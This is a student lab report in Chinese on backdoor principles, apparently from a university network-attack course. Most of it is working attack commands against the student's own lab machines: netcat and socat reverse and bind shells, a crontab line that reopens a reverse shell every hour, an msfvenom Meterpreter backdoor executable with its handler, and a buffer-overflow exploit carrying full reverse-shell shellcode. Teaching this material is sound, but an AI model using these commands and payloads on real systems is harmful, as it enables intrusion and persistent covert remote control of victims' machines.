kali关闭防火墙,会用到命令ufw,初次使用需要安装,apt-get install ufw,关闭为ufw disable,开启为ufw enable。
nc又名netcat、ncat,是一个底层工具,进行基本的TCP、UDP数据收发,常与其他工具结合使用,起到后门的作用。Linux系统和Mac系统往往自带nc,Windows系统则需要自行下载。
socat是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。
下载Netcat和Socat文件,并解压后放到相应的文件夹,在cmd界面中运行ncat和socat.exe,若得到提示,说明安装成功。
在主机cmd中输入ipconfig查询自己主机的IP地址。
主机的IP地址为192.168.0.100
使用ncat程序监听本机的4304端口,输入ncat -l -p 4304
在kali端进行反弹连接windows的4304端口,nc 192.168.0.100 4304 -e /bin/sh
回到主机cmd,输入ls命令,windows获得kali的Shell
在虚拟机kali命令行中输入ip add来查询虚拟机IP地址
虚拟机IP地址为192.168.124.129
在虚拟机kali命令行运行监听指令 nc -l -p 4304
在主机端,反弹连接kali的4304端口,cmd中输入命令ncat -e cmd.exe 192.168.124.129 4304
回到虚拟机,可以发现Linux获得windows的shell
windows运行监听指令ncat -l 4304监听4304端口
kali反弹连接4304端口,运行指令nc 192.168.0.100 4304
输入内容后回车,主机cmd即可显示,同样,在cmd输入内容后回车,虚拟机命令行中也会显示
主机端监听本机4304端口,并把收到的数据保存到4304.txt中,cmd 中输入ncat -l 4304>4304.txt
先在kali中创建4304.txt文件,kali反弹连接到 Windows的4304端口,并将kali端的文件4304.txt传输过去,终端输入 nc 192.168.0.100 4304 <4304.txt
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
后来有一些牛人呢,就想编写一个平台能生成后门程序。
这个平台呢,把后门的基本功能、扩展功能、编码功能、运行平台以及运行参数,全都做成零件或可调整的参数。
用的时候按需要组合,就可以生成一个可执行文件。
在windows中开启监听4304端口,cmd中输入 ncat.exe -l 4304 命令
在虚拟机kali端,输入指令crontab -e以编辑任务,crontab表示定时任务,-e表示编辑,选择第三个编辑器进入,
在最后一行添加30 * * * * /bin/netcat 192.168.0.100 4304 -e /bin/sh,即每个小时的第30分钟反向连接Windows主机的4304端口
保存并退出,输入指令crontab -l以确认保存,到时间后即在cmd中输入指令ls,可以发现已经获得shell
在Windows系统下,打开控制面板->系统和安全->管理工具,在任务计划程序中点击创建任务,选择触发器选项卡,点击新建,将开始任务设置为工作站锁定时
点击确定后,在操作->新建->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4304 exec:cmd.exe,pty,stderr,这个命令的作用是把 cmd.exe 绑定到端口 4304 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上
然后实施触发条件,使用win+l使屏幕锁屏,让条件触发。得到一个cmd执行页面,页面不关,进入kali页面输入socat - tcp:192.168.0.100:4304,这里的第一个参数-代表标准的输入输出,第二个表示连接到 Windows 主机的 4304 端口,此时可以发现已经成功获得了 cmd shell
回到任务程序计划库,将正在运行的任务关闭,让其回归就绪状态
在kali终端中运行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 -f exe > 20174304_backdoor.exe
该命令执行成功后,会生成一个后门可执行程序:20174304_backdoor.exe
在Windows命令行中进入ncat目录下,执行命令ncat.exe -l 4304 > 20174304_backdoor.exe,使主机进入接收文件模式
在kali中执行命令nc 192.168.0.100 4304 < 20174304_backdoor.exe,将刚生成的文件从kali发送到主机
kali中输入msfconsole,进入MSF控制台
use exploit/multi/handler使用监听模块
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.124.129,Kali的IP,和生成后门程序时指定的IP相同
set LPORT 4304,使用相同的端口
最后输入 exploit
设置完成,开始监听
双击打开 20174304_backdoor.exe文件,回到虚拟机,用ipconfig来验证,虚拟机中已经获取了windows的shell
环境错误提权失败
后上网查找以及参考张博同学的博客才基本了解原因
首先输入msfconsole,进入MSF命令行,进行如下操作:
输入use exploit/multi/handler,获取multi/hander模块
输入use exploit/windows/local/ask
输入set payload windows/meterpreter/reverse_tcp,指定payload
输入set lhost 192.168.124.129
输入set filename win_update.exe
输入set session 1,设定会话序号
输入options,可以查看当前在Windows/local/ask下面的设置
继续输入exploit,执行刚刚生成的win_update.exe文件
依旧失败,实在没有找到原因
首先准备一段Shellcode
然后修改一些设置
接下来,用perl来准备我们要输入到pwn4304里的十六进制数,指令为
perl -e
‘print "A" x 32;print"\x**\x**\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘
> input_04
接下来我们来确定\x**\x**到底该填什么。打开一个终端注入这段攻击buf:(cat input_04;cat) | ./pwn4304
再开另外一个终端,用gdb来调试pwn4304这个进程:
1.找到pwn4304的进程号
进程号为:1590
2.启动gdb调试这个进程
3.通过设置断点,来查看注入buf的内存地址
发现断点在0x080484ae
输入break *0x080484ae设置断点,在另外一个终端按下回车,回到gdb终端,输入info r esp,查看栈顶指针
位置是在0xffffd6ac,那么shellcode就在高4个字节的地址,即0xffffd6b0,成功找到shellcode的起始地址后,将原文件中的数据进行修改为
perl -e
‘print "A" x 32;print"\xb0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘
> input_4304
修改之后将其输入到pwn4304中
然后在另一个终端输入msfconsole,并打开监听。
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
在原来的终端输入命令(cat input_4304;cat) | ./pwn4304,然后再按一次回车,在另一个终端就可以得到shell开始运行
例举你能想到的一个后门进入到你系统中的可能方式?
安装不安全、盗版的软件,下载来历不明的文件
例举你知道的后门如何启动起来(win及linux)的方式?
Windows:自启动或伪装之后引诱用户主动启动
Linux:注入shellcode、crontab定时启动
Meterpreter有哪些给你映像深刻的功能?
使用主机的麦克风、摄像头、对主页进行截图、获取键盘输入记录以及提权
如何发现自己有系统有没有被安装后门?
查看有没有开放异常的端口;利用正规杀毒软件的检测;任务管理器查看有无异常进程;查看自启动的程序有无异常等
本次试验相比于上次的实验要简单些,只需要执行一些简短的、连续的指令,后面部分提权和选做内容的难度比较大,花了很长的时间,看了很多人的博客,才比较勉强的做了出来,尤其是两个的最后一步,做了很多很多次。第四部分提权,看了张博同学的博客,照着做了一遍,但最后一步依旧卡住做不出来,看了网上说的win10太强,也不知道真假;选做的内容需要用到实验一的知识,可以顺带复习巩固一下前面的知识点以及操作,最后一步与实验一的时候一样做了很多遍依旧是经常出现段错误,后来重新启动隔了一段时间就可以了。实验最大的收获是网络安全方面,我关掉防火墙却还做的如此艰难,那些黑客实在是太强了,轻松利用后门漏洞进行攻击,同时也提醒我们,一定要有安全意识,定期查杀病毒、修补漏洞,不安全的东西一定不要打开。希望以后能够学到更多的防御后门修补漏洞的知识以及方法。
20174304王天政《网络对抗技术》Exp2-后门原理与实践
原文:https://www.cnblogs.com/wtz0409/p/12533205.html